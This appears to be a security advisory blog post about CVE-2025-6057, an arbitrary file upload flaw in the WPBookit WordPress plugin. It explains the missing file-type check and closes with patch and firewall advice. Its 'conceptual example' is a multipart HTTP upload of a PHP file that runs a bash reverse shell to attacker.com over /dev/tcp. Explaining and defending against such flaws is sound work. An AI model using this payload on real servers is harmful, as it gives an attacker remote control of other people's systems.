Overview
This blog post delves into a significant security vulnerability, CVE-2025-6057, which affects the WPBookit plugin for WordPress, a widely used content management platform. This vulnerability stems from missing file type validation in the plugin, allowing potential attackers to upload arbitrary files. Because WordPress powers nearly 40% of all websites globally, this vulnerability could have widespread implications, potentially compromising systems and leading to data leakage.
Vulnerability Summary
CVE ID: CVE-2025-6057
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage
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Product | Affected Versions
WPBookit WordPress Plugin | Up to and including 1.0.4
How the Exploit Works
The vulnerability lies in the handle_image_upload() function of the WPBookit plugin. This function lacks proper file type validation, allowing authenticated users with subscriber-level access and above to upload arbitrary files to the server. Consequently, an attacker could upload harmful files, such as scripts, which can be executed on the server to potentially compromise the system or leak sensitive data.
Conceptual Example Code
Here is a conceptual example of how this vulnerability could be exploited using an HTTP POST request to upload a malicious PHP file:
POST /wp-content/plugins/wpbookit/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="fileToUpload"; filename="malicious.php"
Content-Type: application/x-php
<?php exec('/bin/bash -i >& /dev/tcp/attacker.com/8080 0>&1'); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the malicious.php file contains a payload that, when executed, opens a reverse shell to the attacker’s server, giving them control over the target system.
Mitigation Guidance
The recommended course of action to mitigate this issue is to apply the vendor patch. If it’s not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could provide temporary mitigation by blocking or alerting on suspicious file uploads. Regularly updating all software and plugins to their latest versions is a general good practice to prevent such vulnerabilities.